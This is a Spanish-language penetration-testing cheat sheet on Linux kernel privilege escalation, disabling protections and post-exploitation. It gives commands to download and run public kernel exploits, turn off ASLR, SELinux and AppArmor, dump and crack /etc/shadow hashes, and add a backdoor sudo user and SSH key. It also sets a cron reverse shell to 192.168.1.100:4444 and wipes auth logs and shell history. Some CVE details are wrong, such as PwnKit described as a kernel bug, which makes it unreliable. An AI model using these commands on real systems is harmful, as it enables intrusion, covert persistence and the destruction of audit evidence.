Skip to content

Exploits de Kernel, Protecciones del Sistema y Post-Explotación

Búsqueda de Vulnerabilidades del Kernel

Identificar Versión del Kernel

bash
uname -r
cat /etc/os-release
lsb_release -a

# Ejemplo: 5.10.0-8-amd64 (Debian)
# Ejemplo: 4.15.0-112-generic (Ubuntu)
# Ejemplo: 5.4.0-42-generic (Ubuntu 20.04)

Buscar Exploits (en Kali)

bash
searchsploit "Linux Kernel" 5.10
searchsploit "Ubuntu" 20.04 "privilege escalation"
searchsploit "CVE-2021-4034"
searchsploit -m 50123    # Descargar exploit

# También:
google: "Ubuntu 20.04 kernel exploit 2021"
exploit-db.com
packetstormsecurity.com

Validar Applicabilidad

bash
# Archivo: check_kernel.sh
#!/bin/bash
echo "[*] Kernel: $(uname -r)"
echo "[*] OS: $(cat /etc/os-release | grep PRETTY)"
gcc --version
uname -m

Kernel Exploits Comunes

CVE-2021-4034 - PwnKit (CRÍTICO)

Afectados: Linux Kernel hasta 5.16.11

¿Qué hace? Escalada local de privilegios a través de pkexec.

Descargas:

Explotar:

bash
# Descargar exploit
git clone https://github.com/berdav/CVE-2021-4034.git
cd CVE-2021-4034

# Compilar
make

# Ejecutar
./cve-2021-4034

# Resultado: bash como root

CVE-2021-22555 - Netfilter (High)

Afectados: Linux 4.15 - 5.6.x

Kernel vulnerable:

bash
uname -r | grep "4.15\|4.16\|4.17\|4.18\|5.0\|5.1\|5.2\|5.3\|5.4\|5.5\|5.6"

Explotar:

bash
searchsploit CVE-2021-22555
searchsploit -m linux/kernel_exploits/51996.c
gcc -o exploit 51996.c
./exploit

CVE-2022-0847 - Dirty Pipe

Afectados: Linux 5.8 - 5.16.11

¿Qué hace? Sobrescribir datos en archivos a través de pipe.

Descargas:

Usar:

bash
# Descargar
git clone https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits.git

# Compilar y ejecutar
gcc -o exploit exploit.c
./exploit

CVE-2022-34918 - netfilter (High)

Afectados: Linux 5.17 - 5.18

bash
searchsploit CVE-2022-34918

CVE-2021-3439 - EBPF (High)

Afectados: Linux < 5.11

bash
# Compilar eBPF exploit
clang -O2 -target bpf -c exploit.c -o exploit.o
llc -march=bpf -filetype=obj -o exploit.o exploit.c

CVE-2017-5754 - Meltdown

Afectados: Intel processors

bash
# Verificar vulnerabilidad
cat /proc/cpuinfo | grep "bugs"

# Si tiene "meltdown", kernel vulnerable

CVE-2017-5715 - Spectre

Afectados: Intel y AMD processors

bash
# Verificar
cat /proc/cpuinfo | grep "bugs"

CVE-2022-0492 - cgroup v1

Afectados: Linux < 5.16

bash
# Compilar exploit
gcc -O2 -o exploit exploit.c
./exploit

Compilar Exploits del Kernel

Requisitos

bash
gcc --version
make --version

Compilación Básica

bash
# Simpl exploit .c
gcc -o exploit exploit.c

# Con librerías específicas
gcc -o exploit exploit.c -lpthread

# 64-bit
gcc -m64 -o exploit exploit.c

# 32-bit (si necesitas)
gcc -m32 -o exploit exploit.c

# Compilar desde Kali para objetivo diferente
x86_64-w64-mingw32-gcc exploit.c  # Para Windows
arm-linux-gnueabihf-gcc exploit.c # Para ARM

Transferir Exploit

bash
# Desde Kali a Objetivo
scp exploit usuario@objetivo:/tmp/

# O con Python HTTP
python3 -m http.server 8000
# En objetivo:
wget http://kali:8000/exploit
curl -O http://kali:8000/exploit

Ejecutar Exploit

bash
chmod +x exploit
./exploit

# Si necesita compilación durante ejecución:
./exploit
# Esperar (puede tardar)

# Verificar ejecución
id
whoami

Protecciones del Sistema

ASLR (Address Space Layout Randomization)

¿Qué hace? Aleatoriza direcciones de memoria para dificultar exploits.

Verificar:

bash
cat /proc/sys/kernel/randomize_va_space

# 0 = Deshabilitado (vulnerable)
# 1 = Parcialmente habilitado
# 2 = Totalmente habilitado (máximo)

Deshabilitar (como root):

bash
echo 0 > /proc/sys/kernel/randomize_va_space

# Permanente - agregar a /etc/sysctl.conf:
echo "kernel.randomize_va_space = 0" >> /etc/sysctl.conf
sysctl -p

SELinux (Security-Enhanced Linux)

¿Qué hace? Control de acceso obligatorio (MAC) en Red Hat/CentOS.

Verificar Estado:

bash
getenforce
sestatus

# Salida:
# Enforcing = Habilitado y activo
# Permissive = Habilitado pero sin bloquear
# Disabled = Deshabilitado

Deshabilitar (como root):

bash
setenforce 0

# Permanente - editar /etc/selinux/config:
sed -i 's/SELINUX=enforcing/SELINUX=disabled/' /etc/selinux/config

# Requiere reboot para efecto completo

AppArmor

¿Qué hace? Control de acceso obligatorio (MAC) en Debian/Ubuntu.

Verificar Estado:

bash
aa-status
systemctl status apparmor

# Ver perfiles
cat /etc/apparmor.d/*

Deshabilitar (como root):

bash
systemctl disable apparmor
systemctl stop apparmor

# O remover paquete:
sudo apt remove apparmor

# Permanente - editar /etc/default/grub:
GRUB_CMDLINE_LINUX="apparmor=0"
sudo update-grub

Seccomp (Secure Computing)

¿Qué hace? Restringe syscalls disponibles para procesos.

Verificar:

bash
grep -i seccomp /proc/self/status

# Si aparece: Seccomp = 1, está en modo filter

Grsecurity / PaX

¿Qué hace? Protecciones kernel adicionales.

Verificar:

bash
uname -r | grep "grsec\|pax"
cat /proc/cmdline | grep "grsec\|pax"

Control Flow Guard (CFG)

¿Qué hace? Protege contra modificación del flujo de programas.

Verificar en binarios:

bash
checksec exploit
checksec /bin/bash

# Ver protecciones:
# RELRO: Partial/Full
# Stack: Canary found/Not found
# NX: NX enabled/disabled
# PIE: PIE enabled/disabled

Post-Explotación

Verificar Acceso como Root

bash
whoami
id
sudo -l

# Ver si puedes leer /etc/shadow
cat /etc/shadow

Extraer Hashes

bash
# Combinar passwd y shadow
unshadow /etc/passwd /etc/shadow > hashes.txt

# Crackear hashes (en Kali)
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
hashcat -m 1800 hashes.txt rockyou.txt

Crear Usuario Backdoor

bash
# Como root
useradd -m -p $(openssl passwd -1 Password123!) backdoor
usermod -aG sudo backdoor

# Verificar
id backdoor
sudo -l -U backdoor

Agregar Clave SSH Pública

bash
# Como root
mkdir -p /root/.ssh
echo "tu_clave_publica" >> /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys

# Desde Kali
ssh -i id_rsa root@objetivo

Persistencia - Cron Job

bash
# Como root
crontab -e

# Agregar:
* * * * * /bin/bash -i >& /dev/tcp/192.168.1.100/4444 0>&1

# Listener en Kali:
nc -lvp 4444

Persistencia - SSH Backdoor

bash
# Modificar /etc/ssh/sshd_config
echo "Port 2222" >> /etc/ssh/sshd_config
systemctl restart ssh

# Conectar por puerto alternativo
ssh -p 2222 root@objetivo

Limpiar Logs

bash
# Ver logs del sistema
cat /var/log/auth.log | grep usuario

# Limpiar
> /var/log/auth.log
> /var/log/syslog
> /var/log/secure
> /var/log/access.log

# Limpiar historial bash
history -c
> ~/.bash_history

# Limpiar logs de comando ejecutados
unset HISTFILE
export HISTFILE=/dev/null

Monitoreo de Actividad

bash
# Ver conexiones activas
ss -antp
netstat -antp

# Ver procesos específicos
pgrep -a ssh
pgrep -a nc

# Logs en tiempo real
tail -f /var/log/auth.log
journalctl -u ssh -f

Herramientas de Automatización

LinPEAS (reconocido)

bash
# Descargar
wget https://github.com/carlospolop/PEASS-ng/releases/download/20240804/linpeas.sh

# Ejecutar
./linpeas.sh

# Con salida a archivo
./linpeas.sh > output.txt 2>&1

Privilege Escalation – Linux

bash
# Otros scripts
./enum4linux.sh
./unix-privesc-check.sh
./kernelcheck.sh

Checklist de Escalada de Privilegios

  1. Enumeración inicial

    • whoami, id, sudo -l
    • uname -a, cat /etc/os-release
  2. Búsqueda de credenciales

    • history, .bash_history
    • /etc/shadow (si accesible)
    • Archivos de config con passwords
  3. SUID/SGID

    • find / -perm -4000 / -6000
    • GTFOBins exploitation
  4. Sudo Rights

    • sudo -l
    • Comandos permitidos sin password
  5. Grupos Privilegiados

    • id | grep docker/lxd/sudo/wheel
    • Group-based escalation
  6. CRON/PATH

    • crontab -l, /etc/crontab
    • echo $PATH, PATH injection
  7. Servicios Vulnerables

    • ps aux, systemctl list-units
    • Servicios ejecutados como root
  8. Kernel Exploits

    • uname -r, searchsploit
    • Compilar y ejecutar exploit
  9. Post-Explotación

    • Crear usuario backdoor
    • SSH keys, persistencia
    • Limpiar logs